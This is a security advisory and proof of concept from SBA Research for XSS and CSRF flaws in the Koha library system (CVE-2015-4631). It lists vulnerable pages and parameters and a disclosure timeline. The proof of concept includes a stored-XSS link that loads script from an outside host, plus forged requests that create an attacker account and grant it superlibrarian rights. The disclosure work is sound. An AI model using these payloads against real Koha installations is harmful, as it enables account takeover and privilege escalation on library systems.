# Exploit Title: Koha Open Source ILS - Multiple XSS and XSRF Vulnerabilities
# Google Dork:
# Date: 25/06/2015
# Exploit Author: Raschin Tavakoli, Bernhard Garn, Peter Aufner and Dimitris Simos - Combinatorial Security Testing Group of SBA Research (cst@sba-research.org)
# Vendor Homepage: koha-community.org
# Software Link: https://github.com/Koha-Community/Koha
# Version: 3.20.x <= 3.20.1, 3.18.x <= 3.18.8, 3.16.x <= 3.16.12
# Tested on: Debian Linux
# CVE : CVE-2015-4630, CVE-2015-4631


### CVE-2015-4631 ###

#### Titel: ####
Multiple XSS and XSRF vulnerabilities in Koha

#### Type of vulnerability: ####
Koha suffers from multiple critical XSS and XSRF vulnerabilities

##### Exploitation vector:
The attack can be performed through a compromised user account (for example previous password retrieval if student user acoount through SQLI - CVE-2015-4633) or due to user that clicks on a malicious link (for example in a phishing mail, forum link etc)

##### Attack outcome:
1. An attacker may escalate privileges and even gain superlibrarian permissions.
2. An attacker may target other users by stealing session tokens, impersonating them or exploiting browser vulnerabilities to gain access on their machines.
3. Perform unauthorized actions with the permissions of a staff member
4. Exploit other known server-side vulnerabilities (see CVE-2015-4633 and CVE-2015-4632) to fully compromise the websever

#### Impact: ####
{low,medium,high,critical}
critical

#### Software/Product name: ####
Koha

#### Affected versions: ####
* <= Koha 3.20.1
* <= Koha 3.18.8
* <= Koha 3.16.12

#### Fixed in version: ####
* version 3.20.1 http://koha-community.org/security-release-koha-3-20-1/,
* version 3.18.8 http://koha-community.org/security-release-koha-3-18-8/,
* version 3.16.12 http://koha-community.org/security-release-koha-3-16-12/

#### Vendor: ####
http://koha-community.org/ (Open Source)

#### CVE number: ####
CVE-2015-4631

#### Timeline ####
* `2015-06-18` identification of vulnerability
* `2015-06-18` 1st contact to release maintainer, immediate reply
* `2015-06-23` new release with fixed vulnerabilities

#### Credits: ####
RGhanad-Tavakoli@sba-research.org
---
Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org

#### References:
http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14416
http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14423
http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14418

http://koha-community.org/security-release-koha-3-20-1/
http://koha-community.org/security-release-koha-3-18-8/
http://koha-community.org/security-release-koha-3-16-12/

#### Description: ####
Koha suffers from various critical XSS and XSRF vulnerabilities due to imprope input validation. The site also lacks in the implementation of challenge tokens that prevent cross-site forgery (XSRF) attacks. This allows remote remote attackers to inject arbitrary web script or HTML and completely compromise the webpage.

The following pages are affected from stored XSS flaws:

/cgi-bin/koha/opac-shelves.pl
/cgi-bin/koha/virtualshelves/shelves.pl

The following pages are affected from relfective XSS flaws:

/cgi-bin/koha/opac-shelves.pl 				(parameters: "direction", "display")
/cgi-bin/koha/opac-search.pl 				(parameters: "tag")
/cgi-bin/koha/authorities/authorities-home.pl 		(parameters: "value")
/cgi-bin/koha/acqui/lateorders.pl 			(parameters: "delay")
/cgi-bin/koha/admin/auth_subfields_structure.pl 	(parameters: "authtypecode","tagfield")
/cgi-bin/koha/admin/marc_subfields_structure.pl		(parameters: "tagfield")
/cgi-bin/koha/catalogue/search.pl			(parameters: "limit")
/cgi-bin/koha/serials/serials-search.pl			(parameters: "bookseller_filter", "callnumber_filter", "EAN_filter", "ISSN_filter", "publisher_filter", "title_filter")
/cgi-bin/koha/suggestion/suggestion.pl 			(parameters: "author", "collectiontitle", "copyrightdate", "isbn", "manageddate_from", "manageddate_to", "publishercode", "suggesteddate_from", "suggesteddate_to")

#### Proof-of-concept: ####
Attack scenario:

Alice, a student with restricted permissions on the system, receives a phishing mail (or reads in some forum) and clicks the following link:

http://<opac-interface>/cgi-bin/koha/opac-shelves.pl?shelves=1&addshelf=Malicious+Input+<script+src='http://cst.sba-research.org/x.js'/>&sortfield=title&category=2&allow_add=0&allow_delete_own=1&allow_delete_other=0

Bob, library admin, recognizes the new malicious list entry. He logs into the staff area and browses the public lists in order to delete the entry. Once he opens

http://<staff-interface>/cgi-bin/koha/virtualshelves/shelves.pl

the malcious code get's executed. The code can then perform any unauthorized actions with the pemissions of user bob. For example:

Create new user:

http://testbox:9002/cgi-bin/koha/members/memberentry.pl?nodouble=&destination=&check_member=&borrowernumber=&nodouble=&title=&firstname=&othernames=&sex=&streetnumber=&streettype=&address2=&city=&state=&zipcode=&country=&phone=&phonepro=&mobile=&email=&emailpro=&fax=&B_address=&B_address2=&B_city=&B_state=&B_zipcode=&B_country=&B_phone=&B_email=&contactnote=&altcontactsurname=&altcontactfirstname=&altcontactaddress1=&altcontactaddress2=&altcontactaddress3=&altcontactstate=&altcontactzipcode=&altcontactcountry=&altcontactphone=&sort1=&sort2=&dateexpiry=&opacnote=&borrowernotes=&patron_attr_1=&BorrowerMandatoryField=surname%7Cdateofbirth%7Ccardnumber%7Caddress&category_type=A&updtype=I&op=insert&surname=hacker&dateofbirth=10%2F06%2F2000&address=fictional&select_city=%7C%7C%7C&cardnumber=9182734629182364&branchcode=MAURES&categorycode=P_COM&dateenrolled=24%2F06%2F2015&userid=hacker&password=hacker&password2=hacker&patron_attr_1_code=PROFESSION&setting_messaging_prefs=1&modify=yes&borrowernumber=&save=Save&setting_extended_patron_attributes=1

Give the new user superlibririan permission:

http://testbox:9002/testbox:9002/cgi-bin/koha/members/member-flags.pl?member=7855&newflags=1&flag=superlibrarian

The attacker can now log as superlibrarian.

Side Note: In order to make the attack work, alice needs to be logged in to the Open Public Catalog interface at the time of when clicking the malicious link.
Alice needs to have access to the OPAC interface and to have permissions to create public lists.